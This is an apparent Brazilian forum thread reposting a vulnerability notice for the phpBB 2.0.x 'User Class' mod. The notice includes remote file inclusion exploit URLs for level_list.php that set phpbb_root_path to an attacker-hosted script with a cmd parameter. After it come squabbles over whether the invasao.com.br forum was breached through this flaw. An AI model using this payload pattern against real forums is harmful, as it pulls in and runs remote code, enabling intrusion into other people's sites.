phpBB 2.0.21 User Class Mod Vuln

[slul]

Code Select Expand

_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ ForumZ Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'       


> Autore: SpiderZ
=> User Class ( User Level hack ) phpBB mod Vulnerability
=> Per: phpBB 2.0.x - 2.0.21
=> Sito: http://www.spiderz.altervista.org
=> Sito2: https://www.spiderz.netsons.org

_________________________________________________________________________

Bug level_list.php
includes/class_user.php

http://www.[ Web site ]/[ folder ]/level_list.php?level=

http://www.[ Web site ]/[ folder ]/level_list.php?phpbb_root_path=http://[  Web site ]/[  File Script ]?&cmd=


Download Mod: http://www.phpbbhacks.com/download.php?id=3250


Imagens que comprovam a falha depois de explorada








Foi por causa desse bug que hackearam o forum do invasao.com.br e agora ele tah sendo reformulado

Abraços!

Fonte: h4cky0u.org

[Fox]

Slul...da pra explicar melhor o bug?

[slul]

cara a explicação tava no link soh q o link qbrou n sei pq =/

Desculpem =(.

Mas vo dar uma procurada e posto algo aqui!

[Anonymous]

Cara,

Me desculpe mais "vcs" são Ridiculos. Em nenhum momento eu retirei o Forum Invasão completamente do ar. Apenas retirei o link principal, para evitar novos posts. Mais qualquer usuário avançado poderia percorrer pelo fórum se quisesse como alguns o fizeram.

Infelizmente alguns infelizes "usuários daqui" "tentam" diariamente invadir o Invasão.

Eu vejo os posts aqui e nem goste de comentar nada, deixo que fiquem "felizes" na sua própria ignorância mais ai já é demais.

Sem mais!!!

[thorking]

ai meu Deus só porque deixamos o site off por algum tempo aparece gente se vangloriando uahuhauhauha q pena  disso !  a prova disso fo a aparencia do forum que deu uma mudança drastica.

[Nêmesis]

Slul o forum não ficou off por algum tempo por causa de bug não,vc esta muito enganado ...
Estavamos instalando uma nova cara para o forum e talz cara .. não teve nada haver com Bugs mesmo !!!

Flw e espero ter esclarecido !!!

[slul]

primeiramente eu nao estou me vangloriando to falando isso pq vi o conteudo da segunda foto esses dias qdo tentei acessar o invasao...

Thorking e Souzadc vcs sao ridiculos memso e demonstram o nivel do Forum do invasao.com.br

Desculpem aos moderadores mas fui atacado e nao poderia ficar sem responder esses SERES.

Eu já ajudei muito o invasao.com.br

Perguntem ao Diogenes já mandei diversas vulnerabilidades.

E normalmente pego o invasao.com.br pra usar como exemplo em meus exploits por ser o primeiro site que usa phpbb que me vem a cabeça.

[DarkGenesis]

Por favor discutem isso por MSN ou MP



Tópico Bloqueado